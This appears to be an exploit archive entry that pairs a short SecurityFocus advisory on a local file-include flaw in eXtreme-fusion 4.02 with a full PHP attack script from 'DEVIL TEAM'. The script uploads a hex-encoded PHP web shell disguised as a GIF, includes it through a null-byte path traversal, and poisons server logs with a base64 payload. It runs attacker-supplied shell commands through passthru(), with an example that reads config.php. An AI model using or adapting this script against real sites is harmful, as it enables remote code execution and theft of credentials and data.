source: https://www.securityfocus.com/bid/21621/info eXtreme-fusion is prone to a local file-include vulnerability because the application fails to properly sanitize user-supplied input. Exploiting this issue may allow an unauthorized user to view files and execute local scripts. By combining this issue with the file-upload functionality of the application, the attacker may be able to execute remote code. eXtreme-fusion version 4.02 is vulnerable to this issue; other versions may also be affected. DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam <======== ========> http://www.rahim.webd.pl/ <======== Contact: kacper1964@yahoo.pl (c)od3d by Kacper -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Greetings DragonHeart and all DEVIL TEAM Patriots :) - Leito & Leon | friend str0ke ;) pepi, nukedclx, SkD, MXZ, sysios, mIvus, wacky, xoron, fdj, mass, D3m0n (ziom z Niemiec :P) and Dr Max Virus TamTurk, hackersecurity.org -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Greetings for 4ll Fusi0n Group members ;-) and all members of hacker.com.pl ;) -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- '; /* -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- in file infusions/fusion_forum_view/fusion_forum_view.php: [line 1-5] .... $settings['photo_max_b']){ $error = 2; } elseif (!in_array($photo_ext, $photo_types)) { $error = 3; } else { $photo_file = image_exists($photo_dest, $photo_name.$photo_ext); move_uploaded_file($photo_pic['tmp_name'], $photo_dest.$photo_file); // <-------{3(step1)} chmod($photo_dest.$photo_file, 0644); $imagefile = @getimagesize($photo_dest.$photo_file); if (!verify_image($photo_dest.$photo_file)) { $error = 3; unlink($photo_dest.$photo_file); } elseif ($imagefile[0] > $settings['photo_max_w'] || $imagefile[1] > $settings['photo_max_h']) { $error = 4; unlink($photo_dest.$photo_file); } else { $submit_info['photo_file'] = $photo_file; } } } .... -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- in file submit.php: [line 223-250] .... if (isset($_POST['upload'])) { opentable($locale['552']); if ($_FILES['plik']['name']!="") { if(!file_exists("downloads/".$_FILES['plik']['name'])) { move_uploaded_file($_FILES['plik']['tmp_name'],"downloads/".$_FILES['plik']['name']); // <-------{3(step2)} switch($_FILES['plik']['error']) { case '0': echo $locale['542'].round($_FILES['plik']['size'] / 1024).'KB'; $submit_info['download_title'] = stripinput($_POST['download_title']); $submit_info['download_description'] = stripinput($_POST['download_description']); $submit_info['download_url'] = "downloads/".$_FILES['plik']['name']; $submit_info['download_adres'] = stripinput($_POST['download_adres']); $submit_info['download_cat'] = stripinput($_POST['download_category']); $submit_info['download_license'] = stripinput($_POST['download_license']); $submit_info['download_os'] = stripinput($_POST['download_os']); $submit_info['download_version'] = stripinput($_POST['download_version']); $submit_info['download_filesize'] = $_FILES['plik']['size']; $result = dbquery("INSERT INTO ".$db_prefix."submissions VALUES('', 'f', '".$userdata['user_id']."', '".time()."', '".serialize($submit_info)."')"); break; case '1': echo $locale['543']; break; case '2': echo $locale['544']; break; case '3': echo $locale['545']; break; case '4': echo $locale['546']; break; } } else { echo $locale['547']; } } .... -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- by Kacper ;-) */ if ($argc<7) { print_r(' ----------------------------------------------------------------------------- Usage: php '.$argv[0].' host path username password user_id cmd OPTIONS host: target server (ip/hostname) path: extreme-fusion path username: You username password: You password user_id: you user id cmd: a shell command (ls -la) Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: php '.$argv[0].' 127.0.0.1 /extreme-fusion/ rahim hauru 105 ls -la php '.$argv[0].' 127.0.0.1 /extreme-fusion/ rahim hauru 105 cat ../../../../config.php -P1.1.1.1:80 ----------------------------------------------------------------------------- '); die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } $host=$argv[1]; $path=$argv[2]; $username=$argv[3]; $password=$argv[4]; $user_id=$argv[5]; $cmd=""; $port=80; $proxy=""; for ($i=6; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $data.='-----------------------------7d6224c08dc Content-Disposition: form-data; name="user_name" '.$username.' -----------------------------7d6224c08dc Content-Disposition: form-data; name="user_pass" '.$password.' -----------------------------7d6224c08dc Content-Disposition: form-data; name="remember_me" y -----------------------------7d6224c08dc Content-Disposition: form-data; name="login" Login -----------------------------7d6224c08dc-- '; echo "login...\n"; $packet ="POST ".$p."login.php HTTP/1.0\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6224c08dc\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cookie: fusion_user=".$user_id.".".md5($password).";\r\n"; $packet.="Cookie: fusion_visited=yes;\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacket($packet); sleep(1); $hauru= "\x20\x0d\x0a\x47\x49\x46\x38\x36\x0d\x0a\x3c\x3f\x70\x68\x70\x20". "\x6f\x62\x5f\x63\x6c\x65\x61\x6e\x28\x29\x3b\x0d\x0a\x2f\x2f\x52". "\x75\x63\x68\x6f\x6d\x79\x20\x7a\x61\x6d\x65\x6b\x20\x48\x61\x75". "\x72\x75\x20\x3b\x2d\x29\x0d\x0a\x65\x63\x68\x6f\x22\x2e\x2e\x2e". "\x48\x61\x63\x6b\x65\x72\x2e\x2e\x4b\x61\x63\x70\x65\x72\x2e\x2e". "\x4d\x61\x64\x65\x2e\x2e\x69\x6e\x2e\x2e\x50\x6f\x6c\x61\x6e\x64". "\x21\x21\x2e\x2e\x2e\x44\x45\x56\x49\x4c\x2e\x54\x45\x41\x4d\x2e". "\x2e\x74\x68\x65\x2e\x2e\x62\x65\x73\x74\x2e\x2e\x70\x6f\x6c\x69". "\x73\x68\x2e\x2e\x74\x65\x61\x6d\x2e\x2e\x47\x72\x65\x65\x74\x7a". "\x2e\x2e\x2e\x22\x3b\x0d\x0a\x20\x0d\x0a\x20\x0d\x0a\x65\x63\x68". "\x6f\x22\x2e\x2e\x2e\x47\x6f\x20\x54\x6f\x20\x44\x45\x56\x49\x4c". "\x20\x54\x45\x41\x4d\x20\x49\x52\x43\x3a\x20\x37\x32\x2e\x32\x30". "\x2e\x31\x38\x2e\x36\x3a\x36\x36\x36\x37\x20\x23\x64\x65\x76\x69". "\x6c\x74\x65\x61\x6d\x22\x3b\x0d\x0a\x20\x0d\x0a\x20\x0d\x0a\x65". "\x63\x68\x6f\x22\x2e\x2e\x2e\x44\x45\x56\x49\x4c\x20\x54\x45\x41". "\x4d\x20\x53\x49\x54\x45\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x77". "\x77\x77\x2e\x72\x61\x68\x69\x6d\x2e\x77\x65\x62\x64\x2e\x70\x6c". "\x2f\x22\x3b\x0d\x0a\x20\x0d\x0a\x20\x0d\x0a\x69\x6e\x69\x5f\x73". "\x65\x74\x28\x22\x6d\x61\x78\x5f\x65\x78\x65\x63\x75\x74\x69\x6f". "\x6e\x5f\x74\x69\x6d\x65\x22\x2c\x30\x29\x3b\x0d\x0a\x20\x0d\x0a". "\x20\x0d\x0a\x65\x63\x68\x6f\x20\x22\x48\x61\x75\x72\x75\x22\x3b". "\x0d\x0a\x20\x0d\x0a\x20\x0d\x0a\x70\x61\x73\x73\x74\x68\x72\x75". "\x28\x24\x5f\x53\x45\x52\x56\x45\x52\x5b\x48\x54\x54\x50\x5f\x48". "\x41\x55\x52\x55\x5d\x29\x3b\x0d\x0a\x20\x0d\x0a\x20\x0d\x0a\x64". "\x69\x65\x3b\x3f\x3e\x0d\x0a\x20"; $data.='-----------------------------7d6224c08dc Content-Disposition: form-data; name="photo_title" DEVIL TEAM Hackers ;) -----------------------------7d6224c08dc Content-Disposition: form-data; name="photo_description" Hauru -----------------------------7d6224c08dc Content-Disposition: form-data; name="photo_pic_file"; filename="hauru.gif" Content-Type: text/plain '.$hauru.' -----------------------------7d6224c08dc Content-Disposition: form-data; name="album_id" 1 -----------------------------7d6224c08dc Content-Disposition: form-data; name="submit_photo" Add Photo -----------------------------7d6224c08dc-- '; echo "upload Hauru!! (step 1)...\n"; $packet ="POST ".$p."submit.php?stype=p HTTP/1.0\r\n"; $packet.="Cookie: fusion_user=".$user_id.".".md5($password).";\r\n"; $packet.="Cookie: fusion_visited=yes;\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6224c08dc\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacket($packet); sleep(1); echo "Hauru uploaded!! now remote code execution (step1)...\n"; $packet ="GET ".$p."infusions/fusion_forum_view/fusion_forum_view.php?settings[locale]=../../../../images/photoalbum/submissions/hauru.gif%00 HTTP/1.1\r\n"; $packet.="HAURU: ".$cmd."\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacket($packet); if (strstr($html,"Hauru")) { $temp=explode("Hauru",$html); die($temp[1]); } $data.='-----------------------------7d6224c08dc Content-Disposition: form-data; name="plik"; filename="hauru.gif" Content-Type: text/plain '.$hauru.' -----------------------------7d6224c08dc Content-Disposition: form-data; name="download_title" DEVIL TEAM -----------------------------7d6224c08dc Content-Disposition: form-data; name="download_description" http://www.rahim.webd.pl/ -----------------------------7d6224c08dc Content-Disposition: form-data; name="download_category" 1 -----------------------------7d6224c08dc Content-Disposition: form-data; name="download_license" Kacper -----------------------------7d6224c08dc Content-Disposition: form-data; name="download_adres" http://www.rahim.webd.pl/ -----------------------------7d6224c08dc Content-Disposition: form-data; name="download_os" h4cking -----------------------------7d6224c08dc Content-Disposition: form-data; name="download_version" 666 -----------------------------7d6224c08dc Content-Disposition: form-data; name="upload" Send File -----------------------------7d6224c08dc-- '; echo "upload Hauru!! (step 2)...\n"; $packet ="POST ".$p."submit.php?stype=f HTTP/1.0\r\n"; $packet.="Cookie: fusion_user=".$user_id.".".md5($password).";\r\n"; $packet.="Cookie: fusion_visited=yes;\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6224c08dc\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacket($packet); sleep(1); echo "Hauru uploaded!! now remote code execution (step2)...\n"; $packet ="GET ".$p."infusions/fusion_forum_view/fusion_forum_view.php?settings[locale]=../../../../downloads/hauru.gif%00 HTTP/1.1\r\n"; $packet.="HAURU: ".$cmd."\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacket($packet); if (strstr($html,"Hauru")) { $temp=explode("Hauru",$html); die($temp[1]); } echo "insert evil code in logfiles (step3 - last)...\r\n\r\n"; $calcifer = base64_decode("PD9waHAgb2JfY2xlYW4oKTsvL1J1Y2hvbXkgemFtZWsgSGF1cnUgOy0pZWNobyIuL". "i5IYWNrZXIuLkthY3Blci4uTWFkZS4uaW4uLlBvbGFuZCEhLi4uREVWSUwuVEVBTS". "4udGhlLi5iZXN0Li5wb2xpc2guLnRlYW0uLkdyZWV0ei4uLiI7ZWNobyIuLi5HbyB". "UbyBERVZJTCBURUFNIElSQzogNzIuMjAuMTguNjo2NjY3ICNkZXZpbHRlYW0iO2Vj". "aG8iLi4uREVWSUwgVEVBTSBTSVRFOiBodHRwOi8vd3d3LnJhaGltLndlYmQucGwvI". "jtpbmlfc2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiLDApO2VjaG8gIkhhdXJ1IjtwYX". "NzdGhydSgkX1NFUlZFUltIVFRQX0hBVVJVXSk7ZGllOz8+"); $packet="GET ".$p.$calcifer." HTTP/1.0\r\n"; $packet.="User-Agent: ".$calcifer." Googlebot/2.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: close\r\n\r\n"; sendpacket($packet); sleep(1); $paths= array ( "../../../../../var/log/httpd/access_log", "../../../../../var/log/httpd/error_log", "../apache/logs/error.log", "../apache/logs/access.log", "../../apache/logs/error.log", "../../apache/logs/access.log", "../../../apache/logs/error.log", "../../../apache/logs/access.log", "../../../../apache/logs/error.log", "../../../../apache/logs/access.log", "../../../../../apache/logs/error.log", "../../../../../apache/logs/access.log", "../logs/error.log", "../logs/access.log", "../../logs/error.log", "../../logs/access.log", "../../../logs/error.log", "../../../logs/access.log", "../../../../logs/error.log", "../../../../logs/access.log", "../../../../../logs/error.log", "../../../../../logs/access.log", "../../../../../etc/httpd/logs/access_log", "../../../../../etc/httpd/logs/access.log", "../../../../../etc/httpd/logs/error_log", "../../../../../etc/httpd/logs/error.log", "../../../../../var/www/logs/access_log", "../../../../../var/www/logs/access.log", "../../../../../usr/local/apache/logs/access_log", "../../../../../usr/local/apache/logs/access.log", "../../../../../var/log/apache/access_log", "../../../../../var/log/apache/access.log", "../../../../../var/log/access_log", "../../../../../var/www/logs/error_log", "../../../../../var/www/logs/error.log", "../../../../../usr/local/apache/logs/error_log", "../../../../../usr/local/apache/logs/error.log", "../../../../../var/log/apache/error_log", "../../../../../var/log/apache/error.log", "../../../../../var/log/access_log", "../../../../../var/log/error_log" ); for ($i=0; $i<=count($paths)-1; $i++) { $a=$i+2; echo "if register_globals = On"\r\n"; echo "[".$a."] Check Path: ".$paths[$i]."\r\n"; echo "remote code execution in logifiles...wait..\n"; $packet ="GET ".$p."infusions/fusion_forum_view/fusion_forum_view.php?settings[locale]=../../../../".$paths[$i]."%00 HTTP/1.1\r\n"; $packet.="HAURU: ".$cmd."\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacket($packet); if (strstr($html,"Hauru")) { $temp=explode("Hauru",$html); die($temp[1]); } } echo "Exploit err0r :(\n"; echo "Check register_globals = On and magic_quotes_gpc = off\n"; echo "Go to DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam\r\n"; ?>

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